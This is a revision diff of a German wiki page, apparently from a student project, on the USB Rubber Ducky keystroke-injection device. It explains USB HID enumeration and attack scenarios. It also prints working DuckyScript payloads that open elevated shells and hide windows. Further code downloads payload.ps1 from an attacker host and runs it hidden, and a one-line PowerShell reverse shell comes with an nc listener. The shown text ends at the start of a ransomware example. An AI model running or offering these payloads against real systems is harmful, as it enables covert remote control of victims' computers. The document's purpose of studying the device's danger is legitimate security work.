USB: Rubber Ducky: Difference between revisions
No edit summary |
mNo edit summary |
||
(13 intermediate revisions by 3 users not shown) | |||
Line 1: | Line 1: | ||
== Grundlagen == |
== Grundlagen == |
||
[..] |
|||
Rubber Ducky ist ein Microcontroller (AMTEL 32bit) mit SD-Karte der aussieht wie ein USB-Stick und sich verhält wie eine Tastatur. So kann alles mit dem Gerät gemacht werden, was mit der Tastatur gemacht werden könnte. |
Rubber Ducky ist ein Microcontroller (AMTEL 32bit) mit SD-Karte der aussieht wie ein USB-Stick und sich verhält wie eine Tastatur. So kann alles mit dem Gerät gemacht werden, was mit der Tastatur gemacht werden könnte. |
||
Die Scriptsprace, mit der sich die Tastenbefehle ausführen lassen, heißt Duckyscript. Das Script wird auf einer Micro-SD Karte auf dem Rubber Ducky im .bin Format gespeichert. |
|||
Der allgemeine Ablauf zum verwenden des Rubber Ducky kann wie folgt beschrieben werden: |
|||
Allg. Ablauf: |
|||
#SD-Karte einstecken |
#SD-Karte einstecken |
||
#Ducky-Script encoden (.jar oder Website toolkit) zu .bin |
#Ducky-Script encoden (.jar oder Website toolkit) zu .bin |
||
#Payload (.bin) auf SD-Karte ablegen |
#Payload (.bin) auf SD-Karte ablegen und SD-Karte in den Rubber Ducky stecken |
||
#USB-Stick in Opfer-Rechner stecken |
#USB-Stick in Opfer-Rechner stecken |
||
#Payload führt sich automatisch aus |
#Payload führt sich automatisch aus |
||
Warum wird der Rubber Ducky jedoch vom PC als Tastatur (HID) erkannt? |
|||
Wenn ein USB Gerät in ein PC gesteckt wird, kümmert sich der Host-Controller um das Handling des USB Sticks. Dieser sendet ein USB-Reset Request an das USB Gerät. Dem USB Gerät wird darauf die Adresse 0 zugewiesen. Danach holt sich der Host-Controller die benötigten Informationen vom USB Stick über den |
|||
Device Descriptor der USB Gerätes. Er enthält Informationen über den Hersteller, wie groß der USB-Stick ist, mit welcher Spannung er betrieben werden muss usw. Jeder Device Descriptor besitzt mindestens ein Configuration Descriptor. Es kann immer nur ein Configuration Descriptor zur gleichen Zeit aktiv sein. Sie besitzen ein oder mehrere Interface Descriptoren, die u.a. Informationen beinhalten, um was es sich bei dem USB Gerät handelt. Der Wert bInterfaceProtocol enthält einen Hex Wert, der eindeutig auf die Geräteklasse weist (z.B. HID, Massenspeicher). Damit der Rubber Ducky als Massenspeicher und HID erkannt wird, besitzt der Configuration Descriptor im Rubber Ducky folglich zwei Interface Descriptoren, um als Massenspeicher und HID erkannt zu werden. Hat der Host-Controller die Informationen, weist er dem USB Gerät eine eindeutige Adresse zu und lädt die Treiber die zum Betrieb als HID, bzw. Massenspeicher notwendig sind. |
|||
== Angriffsszenarien == |
== Angriffsszenarien == |
||
Line 18: | Line 20: | ||
=== Direkter Zugang === |
=== Direkter Zugang === |
||
In diesem Szenario erhält der Angreifer direkten Zugang zu dem Zielrechner. Wir gehen davon aus, dass er nur eine kurze Zeitspanne für den Zugriff hat. Entweder der RubberDucky wird an eine unscheinbare Stelle angeschlossen (z.B. am hinteren Teil des Rechners) oder er wird nur für eine kurze Zeitspanne angeschlossen und wieder abgesteckt. Das Opfer des Angriffs wiederum sollte in diesem Szenario keinerlei Veränderungen sehen, nachdem der Rechner durch den Ducky manipuliert wurde. |
In diesem Szenario erhält der Angreifer direkten Zugang zu dem Zielrechner. Wir gehen davon aus, dass er nur eine kurze Zeitspanne für den Zugriff hat. Entweder der RubberDucky wird an eine unscheinbare Stelle angeschlossen (z.B. am hinteren Teil des Rechners) oder er wird nur für eine kurze Zeitspanne angeschlossen und wieder abgesteckt. Das Opfer des Angriffs wiederum sollte in diesem Szenario keinerlei Veränderungen sehen, nachdem der Rechner durch den Ducky manipuliert wurde. |
||
In diesem Szenario kann man davon ausgehen, dass der Angreifer entweder bereits vor dem Angriff Informationen über den Zielrechner hat oder während des Angriffs Informationen wie das Betriebssystem des Rechners berücksichtigen kann. |
In diesem Szenario kann man davon ausgehen, dass der Angreifer entweder bereits vor dem Angriff Informationen über den Zielrechner hat oder während des Angriffs Informationen wie das Betriebssystem des Rechners berücksichtigen kann. |
||
=== Indirekter Zugang === |
=== Indirekter Zugang === |
||
Dieses Szenario nutzt einen Social Engineering Ansatz, um die schadvollen Aktionen an einem Zielrechner auszuführen: Hier wird versucht den Nutzer dazu zu bringen, den RubberDucky selbst an den Zielrechner anzuschließen. Dabei kann der Angreifer das Opfer persönlich motivieren oder hoffen, dass das Opfer aus Neugierde das emulierte Keyboard an den Zielrechner anschließt. Das Opfer wird dabei erwarten, dass sich nach kurzer Wartezeit ein Fenster mit den Daten des vermeintlichen USB-Storage-Device öffnet. Alle weiteren visuellen Aktionen, die in der Zeit ausgeführt werden könnten den Nutzer misstrauisch machen und das Opfer könnte durch eigene Aktionen am Hardware-Keyboard das Ausführen von schadvollen Aktionen verhindern. |
Dieses Szenario nutzt einen Social Engineering Ansatz, um die schadvollen Aktionen an einem Zielrechner auszuführen: Hier wird versucht den Nutzer dazu zu bringen, den RubberDucky selbst an den Zielrechner anzuschließen. Dabei kann der Angreifer das Opfer persönlich motivieren oder hoffen, dass das Opfer aus Neugierde das emulierte Keyboard an den Zielrechner anschließt. Das Opfer wird dabei erwarten, dass sich nach kurzer Wartezeit ein Fenster mit den Daten des vermeintlichen USB-Storage-Device öffnet. Alle weiteren visuellen Aktionen, die in der Zeit ausgeführt werden könnten den Nutzer misstrauisch machen und das Opfer könnte durch eigene Aktionen am Hardware-Keyboard das Ausführen von schadvollen Aktionen verhindern. |
||
Wir gehen davon aus, dass der Angreifer in diesem Szenario weniger Informationen hat, als im zuvor beschriebenem. So hat er möglicherweise nicht einmal Wissen über Betriebssystem oder Art des Zielrechners. |
Wir gehen davon aus, dass der Angreifer in diesem Szenario weniger Informationen hat, als im zuvor beschriebenem. So hat er möglicherweise nicht einmal Wissen über Betriebssystem oder Art des Zielrechners. |
||
Line 29: | Line 33: | ||
Als Leitmotiv für die weitere Analyse haben wir das Ziel definiert, mittels RubberDucky eine Shell zu starten und eine Aktion auszuführen, gewissermaßen als Proof-of-Concept für das Gefahrenpotential des Keystroke-Injection-Tools. |
Als Leitmotiv für die weitere Analyse haben wir das Ziel definiert, mittels RubberDucky eine Shell zu starten und eine Aktion auszuführen, gewissermaßen als Proof-of-Concept für das Gefahrenpotential des Keystroke-Injection-Tools. |
||
=== |
=== Anforderung: Betriebssystem ermitteln === |
||
Um mittels Tastenkombinationen eine Shell zu starten muss zuerst einmal entschieden werden, an welches Betriebssystem auf dem Zielrechner läuft. Je nach Betriebssystem lässt sich eine Shell über unterschiedliche Tastenkombinationen ausführen. Während es im Windows-Environment in den meisten Fällen das Ziel ist eine cmd-Kommandozeile oder eine Powershell zu öffnen, sollte in Linux- sowie MacOS-Environments beispielsweise eine Terminal-Kommandozeile geöffnet werden. Im folgenden sind einige Lösungsansätze samt DuckyScript-Beispielen benannt. |
Um mittels Tastenkombinationen eine Shell zu starten muss zuerst einmal entschieden werden, an welches Betriebssystem auf dem Zielrechner läuft. Je nach Betriebssystem lässt sich eine Shell über unterschiedliche Tastenkombinationen ausführen. Während es im Windows-Environment in den meisten Fällen das Ziel ist eine cmd-Kommandozeile oder eine Powershell zu öffnen, sollte in Linux- sowie MacOS-Environments beispielsweise eine Terminal-Kommandozeile geöffnet werden. Im folgenden sind einige Lösungsansätze samt DuckyScript-Beispielen benannt. |
||
'''Lösungsansatz: Hotkeys''' |
'''Lösungsansatz: Hotkeys''' |
||
Eine Möglichkeit wäre der Einsatz von Hotkeys, wobei jeweils eine bestimmte Taste auf einem Hardware-Keyboard für ein Script reserviert ist, welches der RubberDucky beim einstecken ausführt. Wollte der Angreifer diesen Ansatz verfolgen, so müsste er eine angepasste Firmware auf dem Microprozessor des Duckys installieren. Eine bereits existierende Variante wäre die DetourDuck-Firmware (RubberDucky flashen: https://github.com/hak5darren/USB-Rubber-Ducky/tree/master/ducky-flasher), mit der es möglich ist vor dem Einstecken des RubberDucky eine bestimmte Taste auf der Tastatur zu betätigen, auf welche der Ducky reagiert und ein bestimmtes von mehreren hinterlegten Skripten ausführt. Dieser Ansatz wäre jedoch nur in einem Szenario mit direktem Zugriff möglich. |
Eine Möglichkeit wäre der Einsatz von Hotkeys, wobei jeweils eine bestimmte Taste auf einem Hardware-Keyboard für ein Script reserviert ist, welches der RubberDucky beim einstecken ausführt. Wollte der Angreifer diesen Ansatz verfolgen, so müsste er eine angepasste Firmware auf dem Microprozessor des Duckys installieren. Eine bereits existierende Variante wäre die DetourDuck-Firmware (RubberDucky flashen: https://github.com/hak5darren/USB-Rubber-Ducky/tree/master/ducky-flasher), mit der es möglich ist vor dem Einstecken des RubberDucky eine bestimmte Taste auf der Tastatur zu betätigen, auf welche der Ducky reagiert und ein bestimmtes von mehreren hinterlegten Skripten ausführt. Dieser Ansatz wäre jedoch nur in einem Szenario mit direktem Zugriff möglich. |
||
Beispiel-Codes: |
Beispiel-Codes: |
||
inject1.bin |
inject1.bin |
||
'''REM Code: open terminal on ubuntu-distros''' |
|||
<code> |
|||
DELAY 500 |
|||
'''REM Code: open terminal on ubuntu-distros'''<br> |
|||
CTRL-ALT t |
|||
DELAY 500<br> |
|||
DELAY 50 |
|||
CTRL-ALT t<br> |
|||
ENTER |
|||
DELAY 50<br> |
|||
ENTER<br> |
|||
</code> |
|||
inject2.bin |
|||
'''REM Code: open terminal on mac''' |
|||
DELAY 1000 |
|||
GUI SPACE |
|||
DELAY 500 |
|||
DELETE |
|||
STRING terminal |
|||
DELAY 500 |
|||
ENTER |
|||
inject3.bin |
|||
'''REM Code: open cmd on windows''' |
|||
<code> |
|||
DELAY 500 |
|||
'''REM Code: open terminal on mac'''<br> |
|||
CTRL ESC |
|||
DELAY 1000<br> |
|||
DELAY 1000 |
|||
GUI SPACE<br> |
|||
STRING cmd |
|||
DELAY 500<br> |
|||
DELAY 2000 |
|||
DELETE<br> |
|||
CTRL-SHIFT ENTER |
|||
STRING terminal<br> |
|||
DELAY |
DELAY 5000 |
||
LEFTARROW |
|||
ENTER<br> |
|||
DELAY 50 |
|||
</code> |
|||
ENTER |
|||
'''Lösungsansatz: Tastenkombinationen''' |
|||
inject3.bin<br> |
|||
<code> |
|||
'''REM Code: open cmd on windows'''<br> |
|||
DELAY 500<br> |
|||
CTRL ESC<br> |
|||
DELAY 1000<br> |
|||
STRING cmd<br> |
|||
DELAY 2000<br> |
|||
CTRL-SHIFT ENTER<br> |
|||
DELAY 5000<br> |
|||
LEFTARROW<br> |
|||
DELAY 50<br> |
|||
ENTER<br> |
|||
</code> |
|||
'''Lösungsansatz: Tastenkombinationen'''<br> |
|||
Ein sehr naiver und fehleranfälliger Lösungsansatz, der jedoch nicht die Anwesenheit des Angreifers am Zielrechner voraussetzt, ist die sequentielle Abfolge von Tastenkombinationen über das DuckyScript, die in ihrere Gänze ausgeführt, auf jedem Betriebssystem ein Terminal öffnet. Obwohl das unten aufgeführte DuckyScript es schafft, nach einem kompletten Durchgang auf jedem Betriebssystem eine Shell zu öffnen ohne das weitere neue Fenster offen bleiben (teils werden Tasten ausgeführt die ungewollt geöffnete Fenster schließen), so gibt es doch einige Schwachstellen: Zum einen benötigt es etwas mehr Zeit um komplett ausgeführt zu werden. Außerdem öffnen sich wie bereits erwähnt kurzzeitig nicht erwünschte Fenster, die kurz sichtbar sind. Sollte das Opfer also selbst den RubberDucky einstecken und auf den Bildschirm schauen, so würde er neben dem kurzzeitigen öffnen einer Komandozeile noch einige weitere merkwürdiger Aktionen sehen, welche die Chance erhöhen, dass das Opfer die Sequenz durch eigene Aktionen erhöht. Mit den richtigen Delays, Timing und etwas Glück funktioniert dieser Ansatz durchaus, ohne dass der Angreifer anwesend sein muss und erfordert keinerlei Veränderungen der Firmware. |
Ein sehr naiver und fehleranfälliger Lösungsansatz, der jedoch nicht die Anwesenheit des Angreifers am Zielrechner voraussetzt, ist die sequentielle Abfolge von Tastenkombinationen über das DuckyScript, die in ihrere Gänze ausgeführt, auf jedem Betriebssystem ein Terminal öffnet. Obwohl das unten aufgeführte DuckyScript es schafft, nach einem kompletten Durchgang auf jedem Betriebssystem eine Shell zu öffnen ohne das weitere neue Fenster offen bleiben (teils werden Tasten ausgeführt die ungewollt geöffnete Fenster schließen), so gibt es doch einige Schwachstellen: Zum einen benötigt es etwas mehr Zeit um komplett ausgeführt zu werden. Außerdem öffnen sich wie bereits erwähnt kurzzeitig nicht erwünschte Fenster, die kurz sichtbar sind. Sollte das Opfer also selbst den RubberDucky einstecken und auf den Bildschirm schauen, so würde er neben dem kurzzeitigen öffnen einer Komandozeile noch einige weitere merkwürdiger Aktionen sehen, welche die Chance erhöhen, dass das Opfer die Sequenz durch eigene Aktionen erhöht. Mit den richtigen Delays, Timing und etwas Glück funktioniert dieser Ansatz durchaus, ohne dass der Angreifer anwesend sein muss und erfordert keinerlei Veränderungen der Firmware. |
||
<br> |
|||
<code> |
|||
DELAY 10000<br> |
|||
REM open terminal on mac<br> |
|||
DELAY 1000<br> |
|||
GUI SPACE<br> |
|||
DELAY 500<br> |
|||
DELETE<br> |
|||
STRING terminal<br> |
|||
DELAY 500<br> |
|||
ENTER<br> |
|||
REM open terminal on ubuntu-distros<br> |
|||
DELAY 500<br> |
|||
REM ALT F2<br> |
|||
CTRL-ALT t<br> |
|||
DELAY 50<br> |
|||
ENTER<br> |
|||
REM open cmd on windows<br> |
|||
DELAY 500<br> |
|||
CTRL ESC<br> |
|||
DELAY 1000<br> |
|||
STRING cmd<br> |
|||
DELAY 2000<br> |
|||
CTRL-SHIFT ENTER<br> |
|||
DELAY 5000<br> |
|||
LEFTARROW<br> |
|||
DELAY 50<br> |
|||
ENTER<br> |
|||
DELAY 5000<br> |
|||
ESC<br> |
|||
</code> |
|||
<pre> |
|||
'''Lösungsansatz: OS-Fingerprinting'''<br> |
|||
DELAY 10000 |
|||
Ein weiterer Ansatz zur Erkennung von Betriebssystemen wäre die Detektion über den USB-Handshake des Kernels mit dem RubberDucky. So wäre es möglich eine Firmware für den Microcontroller zu schreiben, die den USB-Handshake aufzeichnet und mit bestimmten Parametern abgleicht, um so zu entscheiden, um welches Betriebssystem es sich handelt. Dazu wäre es nötig die Unterschiede in den Implementierungen des Handshakes und so des Verhaltens des Host Controller Drivers des jeweiligen Betriebssystemkernels zu ermitteln.<br> |
|||
REM open terminal on mac |
|||
DELAY 1000 |
|||
GUI SPACE |
|||
DELAY 500 |
|||
DELETE |
|||
STRING terminal |
|||
DELAY 500 |
|||
ENTER |
|||
REM open terminal on ubuntu-distros |
|||
DELAY 500 |
|||
REM ALT F2 |
|||
CTRL-ALT t |
|||
DELAY 50 |
|||
ENTER |
|||
REM open cmd on windows |
|||
DELAY 500 |
|||
CTRL ESC |
|||
DELAY 1000 |
|||
STRING cmd |
|||
DELAY 2000 |
|||
CTRL-SHIFT ENTER |
|||
DELAY 5000 |
|||
LEFTARROW |
|||
DELAY 50 |
|||
ENTER |
|||
DELAY 5000 |
|||
ESC |
|||
</pre> |
|||
'''Lösungsansatz: OS-Fingerprinting''' |
|||
Ein weiterer Ansatz zur Erkennung von Betriebssystemen wäre die Detektion über den USB-Handshake des Kernels mit dem RubberDucky. So wäre es möglich eine Firmware für den Microcontroller zu schreiben, die den USB-Handshake aufzeichnet und mit bestimmten Parametern abgleicht, um so zu entscheiden, um welches Betriebssystem es sich handelt. Dazu wäre es nötig die Unterschiede in den Implementierungen des Handshakes und so des Verhaltens des Host Controller Drivers des jeweiligen Betriebssystemkernels zu ermitteln. |
|||
Da wir zu diesem Thema nicht viele Informationen erhalten konnten und wir uns auf die Anwendungsmöglichkeiten der bestehenden Firmware-Versionen beschränken wollten, haben wir diesen Ansatz nicht weiter verfolgt. |
Da wir zu diesem Thema nicht viele Informationen erhalten konnten und wir uns auf die Anwendungsmöglichkeiten der bestehenden Firmware-Versionen beschränken wollten, haben wir diesen Ansatz nicht weiter verfolgt. |
||
=== |
=== Anforderung: Schadscript ausführen === |
||
Im nächsten Schritt soll ein Script ausgeführt werden, dass eine komplexere Aktion ausführen kann. Dazu muss das Script auf den Zielrechner gelangen. Die folgenden Ansätze beschreiben mögliche Vorgehensweisen, um dies zu erreichen. |
|||
'''Lösungsansatz: Über DuckyScript ausführen''' |
'''Lösungsansatz: Über DuckyScript ausführen''' |
||
Eine einfache Möglichkeit wäre es, das Script mittels DuckyScript während des Angriffs zu schreiben. Dazu könnte beispielsweise in einer Kommandozeile das gesamte Script über den STRING-Befehl in eine neue Datei geschrieben werden und diese Datei daraufhin ad hoc kompiliert sowie ausgeführt werden. |
|||
Über DuckyScript direkt ausführen |
|||
Beispiel (in Shell): |
|||
'''Lösungsansatz: Zusätzlicher Mass-Storage'''<br> |
|||
STRING echo 'echo helloworld' > exploit.bin |
|||
MassStorage als zweiten Deskriptor<br> |
|||
ENTER |
|||
TwinDuck<br> |
|||
powershell.exe -File exploit.bin |
|||
Windows Laufwerk dynamisch ermitteln:<br> |
|||
STRING for /f "tokens=3 delims= " %A in ('echo list volume ^| diskpart ^| findstr "DUCKYDRIVE"') do (set DUCKYdrive=%A:) |
|||
'''Lösungsansatz: |
'''Lösungsansatz: Zusätzlicher Mass-Storage''' |
||
Script über das Internet nachladen |
|||
Eine weitere Lösung wäre es den RubberDucky neben dem USB-Deskriptor eines HID-/Keyboard-Device, auch einen Deskriptor als Mass-Storage-Device zuzuweisen. Dies erfordert zwar eine Erweiterung der Firmware, ist jedoch bereits als TwinDuck-Firmware realisiert worden und kann wie die DetourDuck-Firmware über die Software DuckyFlasher eingerichtet werden. |
|||
'''Lösungsansatz: Nutzer motivieren'''<br> |
|||
Nutzer dazu bringen Script selbst auszuführen (root-Rechte erhalten) |
|||
Nun kann ein Script direkt auf den Massenspeicher des RubberDucky abgelegt und über eine Kommandozeile ausgeführt werden. Dazu ist es nur notwendig dynamisch das richtige eingehängte Laufwerk zu erreichen und das Script auszuführen. Durch Environment-Variablen wie $USER unter Unix-Systemen ist das kein Problem. Einzig der Laufwerkbuchstabe des eingehängten Massenspeichers unter Windows erfordert zusätzliche Vorbereitungen. Zudem muss darauf geachtet werden, dass der Massenspeicher einen eindeutige Namen erhält, damit er nicht mit anderen Geräten auf dem Zielrechner verwechselt wird. |
|||
=== Problem: Unauffällig bleiben === |
|||
'''REM Beispiel für UNIX-Systeme (hier MacOS und Massenspeichername=DUCKYDRIVE)''' |
|||
STRING cd /Volumes/DUCKYDRIVE |
|||
'''REM Beispiel für UNIX-Systeme (hier Ubuntu und Massenspeichername=DUCKYDRIVE)''' |
|||
'''Lösungsansatz: Shell per Keystrokes verstecken'''<br> |
|||
STRING cd /media/$USER/DUCKYDRIVE |
|||
[..] |
|||
'''REM Beispiel für Windows-Systeme (Massenspeichername=DUCKYDRIVE)''' |
|||
'''Lösungsansatz: Hidden Shell'''<br> |
|||
STRING for /f "tokens=3 delims= " %A in ('echo list volume ^| diskpart ^| findstr "DUCKYDRIVE"') do (set DUCKYdrive=%A:) |
|||
STRING cd %DUCKYdrive%\ |
|||
<code>STRING powershell.exe -windowstyle hidden -File C:\Users\$env:UserName\payload.ps1</code |
|||
'''Lösungsansatz: |
'''Lösungsansatz: Aus Internet laden''' |
||
Es ist auch möglich eine Datei über einen Server bereit zu stellen und diese mittels Kommandozeile auf dem Zielrechner zu erhalten. |
|||
'''REM Datei mittels wget-Befehl in Terminal aus dem Internet laden |
|||
STRING wget http://[HostIP]:[port x]/payload.ps1 |
|||
'''REM Datei mittels WIndows-Powershell aus dem Internet laden''' |
|||
STRING $client = new-object Net.WebClient |
|||
STRING $client.DownloadFile(„http://[HostIP]:[port x]/payload.ps1“, “C:\Users\$env:UserName\payload.ps1“) |
|||
'''Lösungsansatz: Nutzer motivieren''' |
|||
Eine letzte von uns identifizierte Möglichkeit stellt wieder einen Social-Engineering-Ansatz dar. Sollte das Opfer aus Neugierde den RubberDucky selbst an den Zielrechner gesteckt haben, so könnte der Angreifer erwarten, dass der Nutzer auch Dateien, die sich auf dem Gerät befinden, anklicken wird. Dazu ist also wieder erforderlich, dass der RubberDucky zusätzlich als Massenspeicher vom Betriebssystem erkannt wird. Auch denkbar wäre eine Änderung der Firmware, sodass der Massenspeicher sich erst öffnen lässt, wenn der Nutzer sein Passwort eingegeben hat, welches dann wiederum im DuckyScript verwendet werden kann. Der Angreifer könnte hoffen, dass die Neugierde auch bei dem Öffnen des Massenspeichers keinen Halt macht. |
|||
=== Anforderung: Unauffällig bleiben === |
|||
Diese Anforderung beinhaltet im Besonderen das Verwischen von Spuren durch das Verstecken oder Schließen graphischer Oberflächen. Je nach Szenario ist es wichtig entweder nach der erfolgreichen Ausführung von schadvollen Aktionen entsprechende Fenster zu schließen oder Aktionen direkt möglichst im Hintergrund auszuführen, sollte das Opfer während dessen am Zielrechner sein. |
|||
'''Lösungsansatz: Shell per Tastenkombinationen verstecken''' |
|||
Eine schnelle, aber wenig elegante Lösung ist es, im DuckyScript über beispielsweise die Pfeiltasten ein Fenster dessen Fokus möglicherweise noch gebraucht wird (z.B. eine Kommandozeile) aus dem sichtbaren Bereich des Desktops zu schieben, um weitere Aktionen im Fenster auszuführen und zusätzlich das Fenster zu verkleinern. |
|||
'''REM Beispiel mit einem Powershell-Window''' |
|||
ALT SPACE |
|||
STRING m |
|||
LEFTARROW |
|||
REPEAT 50 |
|||
STRING [console]::WindowHeight=1 |
|||
ENTER |
|||
STRING [console]::WindowWidth=1 |
|||
ENTER |
|||
'''Lösungsansatz: Hidden Shell''' |
|||
Ein weiterer Ansatz setzt voraus, dass der Fokus des Fensters nicht benötigt wird. So kann beispielsweise über eine Kommandozeile ein Script ausgeführt werden und dieses Fenster zugleich als Hintergrundprozess weiter behandelt werden. Auch möglich wäre hier die Arbeit mit verschiedenen Desktops. So kann in Linux zu einem anderen Desktop gewechselt werden, dort die schadvollen Aktionen ausgeführt werden und wieder zum anfänglichen Desktop umgeschaltet werden. |
|||
'''REM Ein Powershell-Script kann über das folgende CMD-Kommando im Hintergrund ausgeführt werden''' |
|||
STRING powershell.exe -windowstyle hidden -File C:\Users\$env:UserName\payload.ps1 |
|||
'''Lösungsansatz: Kleine Delays verwenden''' |
|||
Ein letzter Ansatz für das möglichst unauffällige Ausführen von DuckyScripts dreht sich um das Timing. Der Befehl DELAY spielt dabei eine maßgebliche Rolle. So können kleine DuckyScripte mit minimalen Delays in weniger als einer Sekunde ausgeführt werden und damit möglicherweise nicht ersichtlich für das Opfer sein, selbst wenn dieses am Zielrechner sitzt. Ein Nutzer der einen unbekannten USB-Stick ohne Bedenken an dessen Computer steckt, wird möglicherweise nicht stutzig werden, wenn für eine Sekunde ein Kommandozeilenfenster geöffnet und wieder geschlossen wird. |
|||
Beispiel: <code>DELAY 50</code> |
Beispiel: <code>DELAY 50</code> |
||
=== |
===Anforderung: Unterschiedliche Sicherheitsfeatures umgehen === |
||
Natürlich schränken ins Besondere mögliche Sicherheitsfunktionen die Ausführung von schadvollen Aktionen ein. Wohl gemerkt ist jedoch die elementare Vulnerabilität, des emulierten Keyboards und damit beliebige Aktionen die über das Keyboard möglich sind, in den allermeisten Fällen vorhanden. Diese Aktionen sind lediglich durch Sicherheitsfunktionen wie Virenscanner und Firewalls limitiert. Mechanismen die manchmal ebenfalls durch Tastenschläge umgehbar sind. |
|||
'''Lösungsansatz: IDS/Firewalls umgehen''' |
|||
Dieser Punkt adressiert eher eine wohlüberlegte Kombination verschiedener oben angesprochener Ansätze. So ist es denkbar, dass das Laden bestimmter Dateitypen durch eine Firewall blockiert wird. Sollte beispielsweise das Laden von Dateien über das Internet unabdingbar sein, so wären Möglichkeiten, die einen offensichtlichen Download verschleiern nötig (beispielsweise die Einrichtung einer Tunnelverbindung). |
|||
'''Lösungsansatz: IDS/Firewalls umgehen'''<br> |
|||
keine Executables laden, Textfies lokal zu .exe files compilieren, über DNS-Tunnel leiten |
|||
'''Lösungsansatz: Privileg-Einschränkungen umgehen''' |
'''Lösungsansatz: Privileg-Einschränkungen umgehen''' |
||
Firmware-Anpassung: zum öffnen des USB-Sticks Root-Pw angeben, ..<br> |
|||
<code>'''REM UAC-Bypass:'''<br> |
|||
CTRL ESC<br> |
|||
DELAY 100<br> |
|||
STRING cmd<br> |
|||
DELAY 100<br> |
|||
CTRL-SHIFT ENTER<br> |
|||
DELAY 100<br> |
|||
LEFTARROW<br> |
|||
ENTER</code> |
|||
Eine weitere relevante Sicherheitsfunktion, die auf jedem Betriebssystem eine Rolle spielt, ist die Einschränkung der möglichen Aktionen durch Privilege. Natürlich ist es das Ziel möglichst viele Privilegien als Nutzer zu erlangen. Auch hier gibt es verschiedene Möglichkeiten über Tastenkombinationen und Kommandozeilen-Befehle zusätzliche Berechtigungen zu erhalten. |
|||
'''REM Windows-Beispiel: UAC-Bypass (cmd.exe mit Administrator-Rechten)''' |
|||
CTRL ESC |
|||
DELAY 100 |
|||
STRING cmd |
|||
DELAY 100 |
|||
CTRL-SHIFT ENTER |
|||
DELAY 100 |
|||
LEFTARROW |
|||
ENTER |
|||
== Anwendungsbeispiele == |
== Anwendungsbeispiele == |
||
=== Reverse Shell === |
|||
Ein Anwendungsfall der sehr mächtig ist, öffnet eine Shell des Zielrechners auf einem Gerät des Angreifers über eine Netzwerkverbindung. In unserem hier dargelegten Anwendungsbeispiel, stellt der Angreifer ein Resource-Server mit einem Powershell-Script bereit und horcht mit einem anderen Server auf einem bestimmten Port. |
|||
Der RubberDucky mit der Standard-Firmware kann nun am Zielrechner eine Powershell starten, den Powershell-Payload vom Resource-Server laden und das Powershell-Script ausführen und dabei das Fenster verstecken. Die Powershell baut nun eine TCP-Verbindung zum horchenden Server des Angreifers auf, sodass der Angreifer Eingaben auf einer Shell tätigen kann und die Ausgaben erhält. |
|||
'''Resource-Server (Bspw. mit Ubuntu)''' |
|||
sudo php -S 0.0.0.0:[Port x] -t ~/reverseShell/ |
|||
'''Powershell-Script (payload.ps1)''' |
|||
$sm=(New-Object Net.Sockets.TCPClient("[HostIP]",[Port y])).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)} |
|||
'''ReverseShell-Server (Bspw. mit Ubuntu)''' |
|||
nc -l -p [Port y] |
|||
'''DuckyScript''' |
|||
'''REM Windows: cmd.exe mit Admin-Rechten und darauf folgend Powershell öffnen''' |
|||
DELAY 500 |
|||
CTRL ESC |
|||
DELAY 100 |
|||
STRING cmd |
|||
DELAY 100 |
|||
CTRL-SHIFT ENTER |
|||
DELAY 100 |
|||
LEFTARROW |
|||
ENTER |
|||
DELAY 100 |
|||
STRING powershell |
|||
ENTER |
|||
DELAY 500 |
|||
'''REM Shell-Script von Server laden''' |
|||
STRING $client = new-object Net.WebClient |
|||
ENTER |
|||
STRING $client.DownloadFile(„http://[HostIP]:[port x]/payload.ps1“, “C:\Users\$env:UserName\payload.ps1“) |
|||
ENTER |
|||
'''REM Script ausführen bzw. Shell starten''' |
|||
STRING set-executionpolicy remotesigned |
|||
ENTER |
|||
STRING powershell.exe -windowstyle hidden -File C:\Users\$env:UserName\payload.ps1 |
|||
ENTER |
|||
=== Ransomware === |
=== Ransomware === |
||
Bei dem Anwendungsbeispiel wird ein Programm vom Rubber Ducky gestartet, wenn dieser in ein PC eingesteckt wird. In diesem Fall wird versucht, eine .jar Datei auszuführen. Die Vorraussentzung dafür ist, das auf dem Opfer-PC eine JRE installiert ist. Um die Datei auszuführen, muss zu erst der Laufwerkbuchstabe ermittelt werden, unter dem der Rubber Ducky eingehangen wurde. Dazu wird ein Kommandozeilen-Fenster mit Admin-Rechten geöffnet. Folgende Befehle werden eingegeben, um den Laufwerkbuchstaben zu ermitteln, und das .jar File auszuführen: |
|||
<source lang="text"> |
|||
[..] |
|||
for /f "tokens=3 delims= " %A in ('echo list volume ^| diskpart ^| findstr "DUCKY"') do (set DUCKYdrive=%A) |
|||
javaw -jar %DUCKYdrive%\RubberDucky.jar |
|||
=== Reverse Shell === |
|||
</source> |
|||
Der Code zum .jar Executeable ist relativ einfach gehalten. Hier wird der Inhalt des Ordners C://testing/ (in Windows, bei Linux /testing usw.) verschlüsselt. Je nach Betriebssystem, könnte man, wenn man möchte, unterschiedliche Schritte durchführen (deshalb die OS-Abfrage). Die Dateien im Ordner werden per AES verschlüsselt. Der Schlüssel ist ein 16-Byte Char Array keyValue. Für Testzwecke, wurde ein "Schalter" (boolean encrypt) eingebaut, mit den man seine Dateien im Ordner wieder entschlüsseln kann. |
|||
'''Resource-Server'''<br> |
|||
<code>sudo php -S 0.0.0.0:[Port x] -t ~/Schreibtisch/rubber_ducky/reverseShell/</code> |
|||
<source lang="java"> |
|||
'''Powershell-Script'''<br> |
|||
import java.io.File; |
|||
<code> $sm=(New-Object Net.Sockets.TCPClient("[HostIP]",[Port y])).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)} </code> |
|||
import java.io.FileInputStream; |
|||
import java.io.FileOutputStream; |
|||
import java.security.Key; |
|||
import java.util.Arrays; |
|||
import javax.crypto.Cipher; |
|||
'''ReverseShell-Server'''<br> |
|||
import javax.crypto.spec.SecretKeySpec; |
|||
<code> nc -l -p [Port y] </code> |
|||
import javax.swing.JOptionPane; |
|||
/** |
|||
'''DuckyScript'''<br> |
|||
* |
|||
<code>'''REM Shell-Script von Server laden'''<br> |
|||
*/ |
|||
STRING powershell<br> |
|||
STRING $client = new-object Net.WebClient<br> |
|||
